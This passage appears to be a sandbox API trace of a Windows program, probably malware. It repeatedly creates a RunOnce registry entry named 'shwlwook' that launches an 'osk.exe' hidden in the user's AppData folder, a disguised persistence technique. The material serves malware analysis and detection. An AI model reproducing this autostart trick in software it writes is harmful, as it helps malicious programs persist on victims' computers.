Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.888] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.888] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.888] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.888] RegCloseKey (hKey=0x14c) returned 0x0 [0262.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.888] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.902] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.902] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.902] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.903] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.903] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.903] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.903] RegCloseKey (hKey=0x14c) returned 0x0 [0262.903] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.904] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.918] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.918] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.918] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.918] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.919] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.919] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.919] RegCloseKey (hKey=0x14c) returned 0x0 [0262.919] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.919] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.933] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.933] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.935] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.935] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.935] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.935] RegCloseKey (hKey=0x14c) returned 0x0 [0262.935] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.936] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.949] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.949] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.949] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.950] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.950] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.950] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.950] RegCloseKey (hKey=0x14c) returned 0x0 [0262.950] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.951] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.964] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.964] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.965] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.965] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.965] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.965] RegCloseKey (hKey=0x14c) returned 0x0 [0262.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.966] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.980] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.980] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.980] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.981] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.981] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.981] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.981] RegCloseKey (hKey=0x14c) returned 0x0 [0262.981] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.982] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.996] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.996] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.996] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.997] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.997] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.997] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.997] RegCloseKey (hKey=0x14c) returned 0x0 [0262.997] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.997] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.012] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.012] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.012] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.012] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.012] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.013] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.013] RegCloseKey (hKey=0x14c) returned 0x0 [0263.013] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.013] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.027] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.027] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.027] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.028] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.028] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.028] RegCloseKey (hKey=0x14c) returned 0x0 [0263.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.029] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.043] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.043] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.043] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.044] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.044] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.044] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.044] RegCloseKey (hKey=0x14c) returned 0x0 [0263.045] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.045] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.058] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.058] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.058] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.059] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.059] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.059] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.059] RegCloseKey (hKey=0x14c) returned 0x0 [0263.059] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.060] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.074] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.074] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.074] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.075] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.075] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.075] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.075] RegCloseKey (hKey=0x14c) returned 0x0 [0263.076] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.076] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.137] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.137] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.137] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.138] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.138] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.138] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.138] RegCloseKey (hKey=0x14c) returned 0x0 [0263.138] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.139] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.152] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.152] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.152] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.153] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.153] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.153] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.153] RegCloseKey (hKey=0x14c) returned 0x0 [0263.153] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.154] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.224] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.224] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.224] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.224] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.224] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.225] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.225] RegCloseKey (hKey=0x14c) returned 0x0 [0263.225] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.225] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.230] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.230] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.231] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.231] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.231] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.231] RegCloseKey (hKey=0x14c) returned 0x0 [0263.232] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.232] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.246] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.246] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.247] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.247] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.247] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.247] RegCloseKey (hKey=0x14c) returned 0x0 [0263.247] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.248] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.261] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.261] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.262] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.262] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.262] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.262] RegCloseKey (hKey=0x14c) returned 0x0 [0263.263] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.263] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.277] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.277] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.278] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.278] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.278] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.278] RegCloseKey (hKey=0x14c) returned 0x0 [0263.278] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.278] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.293] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.293] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.294] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.294] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.294] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.294] RegCloseKey (hKey=0x14c) returned 0x0 [0263.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.294] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.308] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.308] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.309] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.309] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.309] RegCloseKey (hKey=0x14c) returned 0x0 [0263.310] 